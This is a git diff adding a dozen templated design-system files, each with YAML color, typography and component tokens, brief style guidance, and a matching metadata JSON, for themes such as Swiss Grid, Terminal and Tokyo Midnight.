a/imported-skills/designdotmd/designs/stripe-gradient.meta.json b/imported-skills/designdotmd/designs/stripe-gradient.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..52430b131484f947985f4774dc00f44055666757 --- /dev/null +++ b/imported-skills/designdotmd/designs/stripe-gradient.meta.json @@ -0,0 +1,4 @@ +{ + "id": "stripe-gradient", + "name": "Stripe Gradient" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/sunset-magazine.md b/imported-skills/designdotmd/designs/sunset-magazine.md new file mode 100644 index 0000000000000000000000000000000000000000..f5e3b4e3bb4dbcefd224b4afbaa490ad758ac106 --- /dev/null +++ b/imported-skills/designdotmd/designs/sunset-magazine.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Sunset Magazine +description: Dusk over the pacific — peach, plum, bone. +colors: + primary: "#2E1F2E" + secondary: "#8A6A7D" + tertiary: "#F4A27B" + neutral: "#F8EEE3" + surface: "#FFF8ED" + on-primary: "#FFF8ED" +typography: + display: + fontFamily: Playfair Display + fontSize: 4.75rem + fontWeight: 500 + letterSpacing: "-0.02em" + h1: + fontFamily: Playfair Display + fontSize: 2.75rem + fontWeight: 500 + body: + fontFamily: Lora + fontSize: 1.05rem + lineHeight: 1.7 + label: + fontFamily: Inter + fontSize: 0.75rem + letterSpacing: "0.12em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Editorial warmth without the gradient cliche. Flat peach, plum ink, bone paper. Feels like a glossy west-coast quarterly. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2E1F2E`):** Headlines and core text. +- **Secondary (`#8A6A7D`):** Borders, captions, and metadata. +- **Tertiary (`#F4A27B`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F8EEE3`):** The page foundation. + +## Typography + +- **display:** Playfair Display 4.75rem +- **h1:** Playfair Display 2.75rem +- **body:** Lora 1.05rem +- **label:** Inter 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/sunset-magazine.meta.json b/imported-skills/designdotmd/designs/sunset-magazine.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..b9142e3adc7e4599e1961ced23592e18ce64b7f8 --- /dev/null +++ b/imported-skills/designdotmd/designs/sunset-magazine.meta.json @@ -0,0 +1,4 @@ +{ + "id": "sunset-magazine", + "name": "Sunset Magazine" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/surf-daybreak.md b/imported-skills/designdotmd/designs/surf-daybreak.md new file mode 100644 index 0000000000000000000000000000000000000000..3e14586305450c64d26a3e151aafe1935faeea85 --- /dev/null +++ b/imported-skills/designdotmd/designs/surf-daybreak.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Surf Daybreak +description: Surf forecast: ocean teal, dawn coral, seafoam. +colors: + primary: "#0C3340" + secondary: "#5A8894" + tertiary: "#FF7A5C" + neutral: "#DFF1EC" + surface: "#F3FAF7" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Recoleta + fontSize: 4rem + fontWeight: 600 + letterSpacing: "-0.02em" + h1: + fontFamily: Fraunces + fontSize: 2.3rem + fontWeight: 500 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.12em" +rounded: + sm: 10px + md: 18px + lg: 28px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A surf-forecast palette: ocean teal primary, dawn-coral accent, seafoam surface. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0C3340`):** Headlines and core text. +- **Secondary (`#5A8894`):** Borders, captions, and metadata. +- **Tertiary (`#FF7A5C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#DFF1EC`):** The page foundation. + +## Typography + +- **display:** Recoleta 4rem +- **h1:** Fraunces 2.3rem +- **body:** Inter 1rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/surf-daybreak.meta.json b/imported-skills/designdotmd/designs/surf-daybreak.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..252dd8e801f8c0f080b5cbfaba026f055c791831 --- /dev/null +++ b/imported-skills/designdotmd/designs/surf-daybreak.meta.json @@ -0,0 +1,4 @@ +{ + "id": "surf-daybreak", + "name": "Surf Daybreak" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/swiss-grid.md b/imported-skills/designdotmd/designs/swiss-grid.md new file mode 100644 index 0000000000000000000000000000000000000000..e4ef9ce004e6f046d084a27847d8196516af5e09 --- /dev/null +++ b/imported-skills/designdotmd/designs/swiss-grid.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Swiss Grid +description: Helvetica, a 12-column grid, and a single red. +colors: + primary: "#000000" + secondary: "#555555" + tertiary: "#DC2626" + neutral: "#F5F5F5" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Inter Tight + fontSize: 4rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Inter Tight + fontSize: 2.25rem + fontWeight: 700 + letterSpacing: "-0.02em" + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Inter + fontSize: 0.75rem + letterSpacing: "0.02em" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Classical International Typographic Style: flat whites, blacks, a disciplined grid, and a decisive red signal. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#000000`):** Headlines and core text. +- **Secondary (`#555555`):** Borders, captions, and metadata. +- **Tertiary (`#DC2626`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F5F5F5`):** The page foundation. + +## Typography + +- **display:** Inter Tight 4rem +- **h1:** Inter Tight 2.25rem +- **body:** Inter 0.95rem +- **label:** Inter 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/swiss-grid.meta.json b/imported-skills/designdotmd/designs/swiss-grid.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..232ef01ac952c6944fbe62a3c32900b2ad8e6bf7 --- /dev/null +++ b/imported-skills/designdotmd/designs/swiss-grid.meta.json @@ -0,0 +1,4 @@ +{ + "id": "swiss-grid", + "name": "Swiss Grid" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/tailwind-base.md b/imported-skills/designdotmd/designs/tailwind-base.md new file mode 100644 index 0000000000000000000000000000000000000000..e37043e0d25ddca7271040c1c57ff97510518185 --- /dev/null +++ b/imported-skills/designdotmd/designs/tailwind-base.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Tailwind Base +description: Safe, shipping-ready, infinitely remixable. +colors: + primary: "#0F172A" + secondary: "#64748B" + tertiary: "#4F46E5" + neutral: "#F1F5F9" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Inter + fontSize: 3.75rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Inter + fontSize: 2.25rem + fontWeight: 700 + letterSpacing: "-0.02em" + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Inter + fontSize: 0.75rem + letterSpacing: "0.02em" +rounded: + sm: 4px + md: 8px + lg: 12px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +The default you can ship on Monday. Neutral slate, indigo action, clear type hierarchy. Nothing to prove. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F172A`):** Headlines and core text. +- **Secondary (`#64748B`):** Borders, captions, and metadata. +- **Tertiary (`#4F46E5`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F1F5F9`):** The page foundation. + +## Typography + +- **display:** Inter 3.75rem +- **h1:** Inter 2.25rem +- **body:** Inter 0.95rem +- **label:** Inter 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/tailwind-base.meta.json b/imported-skills/designdotmd/designs/tailwind-base.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..9fe434dd5006797eca6588e8cb310d725b950b9b --- /dev/null +++ b/imported-skills/designdotmd/designs/tailwind-base.meta.json @@ -0,0 +1,4 @@ +{ + "id": "tailwind-base", + "name": "Tailwind Base" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/tarot-deck.md b/imported-skills/designdotmd/designs/tarot-deck.md new file mode 100644 index 0000000000000000000000000000000000000000..d01b96a8b879d9d2d1872e838afb4455701410cc --- /dev/null +++ b/imported-skills/designdotmd/designs/tarot-deck.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Tarot Deck +description: Rider-Waite vibes: midnight blue, gilt edges, mystic sigils. +colors: + primary: "#F3EAD0" + secondary: "#A89775" + tertiary: "#E5B85C" + neutral: "#0C1433" + surface: "#15204A" + on-primary: "#F3EAD0" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 5rem + fontWeight: 500 + letterSpacing: "-0.01em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: EB Garamond + fontSize: 1.05rem + lineHeight: 1.7 + label: + fontFamily: IM Fell English + fontSize: 0.82rem + letterSpacing: "0.12em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A mystical palette for astrology/tarot apps: midnight blue, gilt accent, occult serif. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F3EAD0`):** Headlines and core text. +- **Secondary (`#A89775`):** Borders, captions, and metadata. +- **Tertiary (`#E5B85C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0C1433`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 5rem +- **h1:** Cormorant Garamond 2.5rem +- **body:** EB Garamond 1.05rem +- **label:** IM Fell English 0.82rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/tarot-deck.meta.json b/imported-skills/designdotmd/designs/tarot-deck.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..53e120bd3fabab040259d44e0d2522ebc2aa0bde --- /dev/null +++ b/imported-skills/designdotmd/designs/tarot-deck.meta.json @@ -0,0 +1,4 @@ +{ + "id": "tarot-deck", + "name": "Tarot Deck" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/tattoo-studio.md b/imported-skills/designdotmd/designs/tattoo-studio.md new file mode 100644 index 0000000000000000000000000000000000000000..9812a1299b068f7b9c2faae4d66ef3d0fa96547c --- /dev/null +++ b/imported-skills/designdotmd/designs/tattoo-studio.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Tattoo Studio +description: Tattoo parlor: ink black, stencil blue, flash-sheet red. +colors: + primary: "#EEEAE0" + secondary: "#7D7A72" + tertiary: "#DC143C" + neutral: "#0A0A0A" + surface: "#141414" + on-primary: "#0A0A0A" +typography: + display: + fontFamily: Bebas Neue + fontSize: 5.5rem + fontWeight: 400 + letterSpacing: "0.02em" + h1: + fontFamily: Bebas Neue + fontSize: 2.8rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.5 + label: + fontFamily: Bebas Neue + fontSize: 0.88rem + letterSpacing: "0.18em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A tattoo-studio palette: ink black, stencil blue, flash-sheet red for traditional motifs. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#EEEAE0`):** Headlines and core text. +- **Secondary (`#7D7A72`):** Borders, captions, and metadata. +- **Tertiary (`#DC143C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0A0A0A`):** The page foundation. + +## Typography + +- **display:** Bebas Neue 5.5rem +- **h1:** Bebas Neue 2.8rem +- **body:** Inter 0.92rem +- **label:** Bebas Neue 0.88rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/tattoo-studio.meta.json b/imported-skills/designdotmd/designs/tattoo-studio.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..f842c858dd242740e1883a03f90fb4165776e4aa --- /dev/null +++ b/imported-skills/designdotmd/designs/tattoo-studio.meta.json @@ -0,0 +1,4 @@ +{ + "id": "tattoo-studio", + "name": "Tattoo Studio" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/tea-house.md b/imported-skills/designdotmd/designs/tea-house.md new file mode 100644 index 0000000000000000000000000000000000000000..6ab7b09d6aed6fc937c0059d761b9cf51b00d08e --- /dev/null +++ b/imported-skills/designdotmd/designs/tea-house.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Tea House +description: Matcha ceremony: rice paper, bamboo green, clay red. +colors: + primary: "#1E2016" + secondary: "#7B8069" + tertiary: "#B0361B" + neutral: "#F0EBDA" + surface: "#F8F3E1" + on-primary: "#F8F3E1" +typography: + display: + fontFamily: Shippori Mincho + fontSize: 4.5rem + fontWeight: 400 + letterSpacing: "-0.015em" + h1: + fontFamily: Shippori Mincho + fontSize: 2.4rem + fontWeight: 400 + body: + fontFamily: Noto Serif JP + fontSize: 1rem + lineHeight: 1.75 + label: + fontFamily: Noto Sans JP + fontSize: 0.72rem + letterSpacing: "0.2em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A tea-house palette: rice paper surface, bamboo-green primary, clay-red seal accents. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1E2016`):** Headlines and core text. +- **Secondary (`#7B8069`):** Borders, captions, and metadata. +- **Tertiary (`#B0361B`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F0EBDA`):** The page foundation. + +## Typography + +- **display:** Shippori Mincho 4.5rem +- **h1:** Shippori Mincho 2.4rem +- **body:** Noto Serif JP 1rem +- **label:** Noto Sans JP 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/tea-house.meta.json b/imported-skills/designdotmd/designs/tea-house.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..b1dcb3c2967b0b8ba3231b95b32d03d01a2e2467 --- /dev/null +++ b/imported-skills/designdotmd/designs/tea-house.meta.json @@ -0,0 +1,4 @@ +{ + "id": "tea-house", + "name": "Tea House" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/terminal.md b/imported-skills/designdotmd/designs/terminal.md new file mode 100644 index 0000000000000000000000000000000000000000..f3b3da0b9875f707c677c6a31be0c6874a0aa623 --- /dev/null +++ b/imported-skills/designdotmd/designs/terminal.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Terminal +description: Phosphor green on deep black. Fast, loud, honest. +colors: + primary: "#E6EDF3" + secondary: "#8B949E" + tertiary: "#3FB950" + neutral: "#0D1117" + surface: "#161B22" + on-primary: "#0D1117" +typography: + display: + fontFamily: IBM Plex Mono + fontSize: 3.5rem + fontWeight: 600 + letterSpacing: "-0.02em" + h1: + fontFamily: IBM Plex Mono + fontSize: 2rem + fontWeight: 600 + body: + fontFamily: IBM Plex Mono + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: IBM Plex Mono + fontSize: 0.75rem + letterSpacing: "0.02em" +rounded: + sm: 4px + md: 6px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A dev-native palette. Mono everywhere, green on black, single red for destructive. No decoration, only signal. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E6EDF3`):** Headlines and core text. +- **Secondary (`#8B949E`):** Borders, captions, and metadata. +- **Tertiary (`#3FB950`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0D1117`):** The page foundation. + +## Typography + +- **display:** IBM Plex Mono 3.5rem +- **h1:** IBM Plex Mono 2rem +- **body:** IBM Plex Mono 0.95rem +- **label:** IBM Plex Mono 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/terminal.meta.json b/imported-skills/designdotmd/designs/terminal.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..3441a823bd9af1de233404054790704682de048f --- /dev/null +++ b/imported-skills/designdotmd/designs/terminal.meta.json @@ -0,0 +1,4 @@ +{ + "id": "terminal", + "name": "Terminal" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/terracotta.md b/imported-skills/designdotmd/designs/terracotta.md new file mode 100644 index 0000000000000000000000000000000000000000..1436055ea410ac921b95be9ea0de5c6097ea75cf --- /dev/null +++ b/imported-skills/designdotmd/designs/terracotta.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Terracotta +description: Sun-baked clay, ink, and weathered paper. +colors: + primary: "#2B1D14" + secondary: "#8B6F5B" + tertiary: "#C56A3C" + neutral: "#F3E8D8" + surface: "#FBF4E7" + on-primary: "#FBF4E7" +typography: + display: + fontFamily: DM Serif Display + fontSize: 4.5rem + fontWeight: 400 + letterSpacing: "-0.015em" + h1: + fontFamily: DM Serif Display + fontSize: 2.75rem + fontWeight: 400 + body: + fontFamily: DM Sans + fontSize: 1.05rem + lineHeight: 1.7 + label: + fontFamily: DM Sans + fontSize: 0.75rem + letterSpacing: "0.1em" +rounded: + sm: 4px + md: 8px + lg: 16px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A slow, sun-drenched palette for long-form reading. Cream background, ink headlines, and terracotta for emphasis. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2B1D14`):** Headlines and core text. +- **Secondary (`#8B6F5B`):** Borders, captions, and metadata. +- **Tertiary (`#C56A3C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F3E8D8`):** The page foundation. + +## Typography + +- **display:** DM Serif Display 4.5rem +- **h1:** DM Serif Display 2.75rem +- **body:** DM Sans 1.05rem +- **label:** DM Sans 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/terracotta.meta.json b/imported-skills/designdotmd/designs/terracotta.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..011c2086a89962ffadbc85c01168724ba778b5f9 --- /dev/null +++ b/imported-skills/designdotmd/designs/terracotta.meta.json @@ -0,0 +1,4 @@ +{ + "id": "terracotta", + "name": "Terracotta" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/theatre-playbill.md b/imported-skills/designdotmd/designs/theatre-playbill.md new file mode 100644 index 0000000000000000000000000000000000000000..7358460d4761c4a80946b1846b8f33b2bc265653 --- /dev/null +++ b/imported-skills/designdotmd/designs/theatre-playbill.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Theatre Playbill +description: Playbill cream: stage black, curtain red, footlight gold. +colors: + primary: "#1B1613" + secondary: "#7A7165" + tertiary: "#B11F2A" + neutral: "#F3EDDC" + surface: "#FAF3DF" + on-primary: "#FAF3DF" +typography: + display: + fontFamily: Playfair Display + fontSize: 5.5rem + fontWeight: 900 + letterSpacing: "-0.02em" + h1: + fontFamily: Playfair Display + fontSize: 2.6rem + fontWeight: 700 + body: + fontFamily: Lora + fontSize: 1.02rem + lineHeight: 1.7 + label: + fontFamily: Lora + fontSize: 0.74rem + fontWeight: 700 + letterSpacing: "0.2em" +rounded: + sm: 0px + md: 0px + lg: 2px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A theatre-playbill palette: cream programme, curtain-red primary, footlight-gold secondary. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1B1613`):** Headlines and core text. +- **Secondary (`#7A7165`):** Borders, captions, and metadata. +- **Tertiary (`#B11F2A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F3EDDC`):** The page foundation. + +## Typography + +- **display:** Playfair Display 5.5rem +- **h1:** Playfair Display 2.6rem +- **body:** Lora 1.02rem +- **label:** Lora 0.74rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/theatre-playbill.meta.json b/imported-skills/designdotmd/designs/theatre-playbill.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..4ac7e2341cc9724745e5fedfb5073e5286d0ccc7 --- /dev/null +++ b/imported-skills/designdotmd/designs/theatre-playbill.meta.json @@ -0,0 +1,4 @@ +{ + "id": "theatre-playbill", + "name": "Theatre Playbill" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/therapy-room.md b/imported-skills/designdotmd/designs/therapy-room.md new file mode 100644 index 0000000000000000000000000000000000000000..6e8b0fc3da0e2f39dde45675d64e77feafcb6efd --- /dev/null +++ b/imported-skills/designdotmd/designs/therapy-room.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Therapy Room +description: Mental-health app: clay, breath-blue, hush. +colors: + primary: "#2F2824" + secondary: "#A3978C" + tertiary: "#7FAEC7" + neutral: "#F4ECE1" + surface: "#FBF5EA" + on-primary: "#FBF5EA" +typography: + display: + fontFamily: Fraunces + fontSize: 4rem + fontWeight: 400 + letterSpacing: "-0.015em" + h1: + fontFamily: Fraunces + fontSize: 2.25rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.75 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 500 + letterSpacing: "0.1em" +rounded: + sm: 12px + md: 20px + lg: 32px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A mental-health-app palette: clay warmth, soft breath-blue accent, whispered type. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2F2824`):** Headlines and core text. +- **Secondary (`#A3978C`):** Borders, captions, and metadata. +- **Tertiary (`#7FAEC7`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4ECE1`):** The page foundation. + +## Typography + +- **display:** Fraunces 4rem +- **h1:** Fraunces 2.25rem +- **body:** Inter 1rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/therapy-room.meta.json b/imported-skills/designdotmd/designs/therapy-room.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..19fc47945bc2bb755ab9165727ddad0156403d2d --- /dev/null +++ b/imported-skills/designdotmd/designs/therapy-room.meta.json @@ -0,0 +1,4 @@ +{ + "id": "therapy-room", + "name": "Therapy Room" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/tokyo-midnight.md b/imported-skills/designdotmd/designs/tokyo-midnight.md new file mode 100644 index 0000000000000000000000000000000000000000..7bc1c3538ef410f22b70531ef0befcee35fb397e --- /dev/null +++ b/imported-skills/designdotmd/designs/tokyo-midnight.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Tokyo Midnight +description: Rain-slick streets, neon reflections, focused. +colors: + primary: "#F2F2F5" + secondary: "#7A8699" + tertiary: "#FF4D7E" + neutral: "#0B0E1A" + surface: "#141828" + on-primary: "#0B0E1A" +typography: + display: + fontFamily: Space Grotesk + fontSize: 4rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Space Grotesk + fontSize: 2.25rem + fontWeight: 700 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.06em" +rounded: + sm: 4px + md: 8px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A cinematic dark palette. Deep blue-black surface, cold steel support, a single hot-pink accent for emphasis. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F2F2F5`):** Headlines and core text. +- **Secondary (`#7A8699`):** Borders, captions, and metadata. +- **Tertiary (`#FF4D7E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0B0E1A`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 4rem +- **h1:** Space Grotesk 2.25rem +- **body:** Inter 0.95rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/tokyo-midnight.meta.json b/imported-skills/designdotmd/designs/tokyo-midnight.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..445256205215adea120c8377cdf4e1f06e8fcf82 --- /dev/null +++ b/imported-skills/designdotmd/designs/tokyo-midnight.meta.json @@ -0,0 +1,4 @@ +{ + "id": "tokyo-midnight", + "name": "Tokyo Midnight" +} \ No newline at end of file diff --git 